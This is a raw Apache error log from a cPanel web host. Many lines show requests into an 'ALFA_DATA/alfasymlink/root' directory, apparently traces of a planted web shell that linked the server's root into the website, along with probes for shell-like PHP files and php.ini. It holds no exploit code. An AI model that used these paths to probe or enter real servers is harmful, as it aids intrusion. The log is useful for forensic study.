[Sun Oct 25 03:33:27.128844 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 18.215.77.19:27157] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:31.082668 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 52.71.46.142:18759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/subsystem/uevent
[Sun Oct 25 03:33:35.387656 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.45.194.165:55744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:47.275842 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.223.193.255:44971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:51.394260 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 107.23.62.75:36858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:33:59.107816 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.204.71.8:26360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:34:51.568730 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.213.102.186:7105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:34:55.387441 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.234.200.207:14909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:34:59.449332 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.226.34.98:7850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:35:09.237084 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.199:61786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nfnetlink/sections/__ksymtab_strings
[Sun Oct 25 03:35:11.504803 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 18.214.238.178:28123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:35:39.410152 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 50.19.221.48:51233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:35:50.882124 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 185.191.171.1:52094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:35:55.531914 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.232.82.72:55773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:36:20.152846 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 54.162.69.192:34775] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pnp/devices/00:02/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory23/node0/cpu0/driver/cpu1/crash_notes_size
[Sun Oct 25 03:36:27.748192 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 3.220.148.166:16719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/drivers/pvpanic/bind
[Sun Oct 25 03:36:31.526736 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.197.178.107:22695] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:36:36.468059 2026] [authz_core:error] [pid 2775712:tid 2775712] [client 120.77.26.102:58348] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 03:36:36.798181 2026] [authz_core:error] [pid 2775672:tid 2775672] [client 120.77.26.102:51344] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 03:36:38.240806 2026] [authz_core:error] [pid 2781524:tid 2781524] [client 120.77.26.102:51352] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 03:36:39.487138 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.83.178.66:30034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:36:51.566767 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.213.213.161:8633] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:36:57.672219 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.19:62324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/reclaim_account
[Sun Oct 25 03:36:59.755803 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 18.235.81.246:14855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:03.814600 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.4.213.199:27333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:06.389899 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 185.191.171.18:43476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/poison
[Sun Oct 25 03:37:07.608691 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 3.212.205.90:1773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/dw_dmac_pci/unbind
[Sun Oct 25 03:37:11.801967 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.209.137.234:24038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:15.535043 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.4.229.9:35077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:19.756976 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.202.88.37:39258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:23.748777 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.232.39.98:48418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:31.736864 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.71.216.196:9929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:35.781002 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.225.98.148:16682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:39.622562 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.200.54.136:36990] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:43.720721 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.236.135.14:11765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:51.726140 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.210.152.179:36291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:55.862795 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.144.185.255:36890] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:37:59.495271 2026] [authz_core:error] [pid 2781480:tid 2781480] [client 199.165.159.9:48438] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 03:37:59.695559 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.24.149.244:33575] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:02.611448 2026] [security2:error] [pid 2781507:tid 2781507] [client 216.180.246.27:21052] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at2x2p68N771hz7W4Klr-QAAAAw"]
[Sun Oct 25 03:38:03.959751 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.213.202.136:20298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/dw_dmac_pci/remove_id
[Sun Oct 25 03:38:07.887444 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.205.120.22:33772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:11.812894 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.221.156.96:1907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:15.397099 2026] [security2:error] [pid 2781524:tid 2781524] [client 74.225.146.100:62431] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/wp-admin/css/colors/midnight/filemanager_nopw.php"] [unique_id "at2x54HtOs-nfC4GshpRXAAAABc"]
[Sun Oct 25 03:38:15.397152 2026] [security2:error] [pid 2781524:tid 2781524] [client 74.225.146.100:62431] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/wp-admin/css/colors/midnight/filemanager_nopw.php"] [unique_id "at2x54HtOs-nfC4GshpRXAAAABc"]
[Sun Oct 25 03:38:15.734618 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 54.235.191.179:52148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/thermal/unbind
[Sun Oct 25 03:38:19.930562 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.212.86.97:4449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:23.811536 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.225.45.252:28356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:27.749061 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 23.23.103.31:60584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:31.712448 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 100.25.120.246:58894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:35.737031 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 3.213.213.161:15500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/remove_id
[Sun Oct 25 03:38:47.836683 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.197.114.76:35476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:38:59.733329 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 18.235.81.246:13811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:03.972505 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.217.171.106:29285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:08.296385 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.215.221.125:23824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:12.822937 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.204.12.115:20686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:15.625729 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 34.225.243.131:33293] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/subsystem/drivers_probe
[Sun Oct 25 03:39:25.092734 2026] [security2:error] [pid 2781481:tid 2781481] [client 216.180.246.27:21052] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at2yLS7GhhaIo05efijC1AAAAAc"]
[Sun Oct 25 03:39:27.716817 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.227.180.70:49823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:31.676464 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 52.70.209.13:9373] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/driver/uevent
[Sun Oct 25 03:39:39.524988 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.94.156.104:38489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:55.467850 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.197.114.76:23806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:39:59.896920 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 34.233.114.237:36263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:03.640013 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.225.87.80:27302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:07.483909 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.223.115.10:21706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:11.582375 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.216.227.216:39127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:14.366605 2026] [security2:error] [pid 2775672:tid 2775672] [client 216.180.246.27:21052] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at2yXsqduxFlyzJhl1wEUwAAAAA"]
[Sun Oct 25 03:40:15.602384 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 184.73.47.24:12205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:22.844564 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 185.191.171.2:20166] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/validate
[Sun Oct 25 03:40:23.515674 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 34.196.237.236:55307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource0
[Sun Oct 25 03:40:31.676780 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.225.45.252:48703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:35.315215 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.213.85.234:54200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:39.749298 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.205.163.103:57458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:43.321978 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.213.36.21:44945] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:51.279493 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 52.202.52.82:13764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/platform/devices/pcspkr/subsystem/drivers/pcspkr/module/uevent
[Sun Oct 25 03:40:54.242987 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 85.208.96.206:24302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_nat/sections/__bug_table
[Sun Oct 25 03:40:55.232869 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.205.192.249:2751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:40:59.267814 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 50.16.72.185:54329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:03.692153 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 52.0.41.164:55302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/atkbd/bind
[Sun Oct 25 03:41:07.239553 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 23.21.225.190:2986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:11.227108 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.232.82.72:16868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:15.232494 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 35.173.18.61:58739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:23.133997 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.200.93.170:52179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:31.041254 2026] [ssl:error] [pid 2775672:tid 2775672] (5)Input/output error: [client 3.221.50.71:2537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:35.074131 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.29.34.97:45933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:41:47.902512 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 18.207.89.138:14056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ohci-pci/bind
[Sun Oct 25 03:41:59.030184 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.194.226.74:62892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:00.281152 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.231.118.144:59296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:01.914329 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.4:46226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/hwcache_align
[Sun Oct 25 03:42:03.314619 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.89.90.224:63049] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:10.849701 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.204.89.12:3776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:14.814231 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.210.29.96:53190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:29.892777 2026] [security2:error] [pid 2775672:tid 2775672] [client 43.164.190.124:59982] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/databaseok.php"] [unique_id "at2y5cqduxFlyzJhl1wEWAAAAAA"]
[Sun Oct 25 03:42:30.895122 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 18.233.24.238:27071] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:34.776716 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.220.70.171:52170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:42:54.459905 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.230.224.6:20381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:07.151304 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.225.138.57:53785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:14.220702 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.210.223.61:1654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:14.220892 2026] [security2:error] [pid 2781524:tid 2781524] [client 3.210.223.61:1654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver_override"] [unique_id "at2zEoHtOs-nfC4GshpRawAAABc"]
[Sun Oct 25 03:43:14.220921 2026] [security2:error] [pid 2781524:tid 2781524] [client 3.210.223.61:1654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver_override"] [unique_id "at2zEoHtOs-nfC4GshpRawAAABc"]
[Sun Oct 25 03:43:18.256214 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.82.66.172:18786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:26.257852 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 23.22.59.87:18396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:29.499686 2026] [authz_core:error] [pid 2781480:tid 2781480] [client 85.217.149.10:43190] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 03:43:30.214087 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.73.6.26:42070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:38.564447 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 50.19.102.70:39626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:42.242554 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.84.147.79:54107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:43:58.256670 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 18.235.81.246:47970] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:02.206317 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 98.84.70.201:51177] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource1
[Sun Oct 25 03:44:10.181979 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.227.180.70:50461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:14.257143 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.223.134.5:8917] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:18.269289 2026] [security2:error] [pid 2781030:tid 2781030] [client 54.159.98.248:49959] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/"] [unique_id "at2zUrQKh4dfs72fmHxvtQAAAAE"]
[Sun Oct 25 03:44:18.269335 2026] [security2:error] [pid 2781030:tid 2781030] [client 54.159.98.248:49959] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/"] [unique_id "at2zUrQKh4dfs72fmHxvtQAAAAE"]
[Sun Oct 25 03:44:30.206360 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 44.207.207.36:3935] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ohci-pci/new_id
[Sun Oct 25 03:44:38.180904 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 18.215.24.66:61905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:42.341896 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.157.99.244:39603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:46.182475 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.28.133.214:7555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:50.177039 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 34.204.150.196:38649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:50.229099 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 185.191.171.16:19344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:54.181876 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.70.123.241:48294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:44:58.174560 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 18.208.11.93:26207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:02.233426 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 3.94.199.128:59622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/bind
[Sun Oct 25 03:45:22.297097 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 50.16.72.185:51883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:30.231684 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.203.152.231:43749] AH02013: coalesce failed to read from data bucket
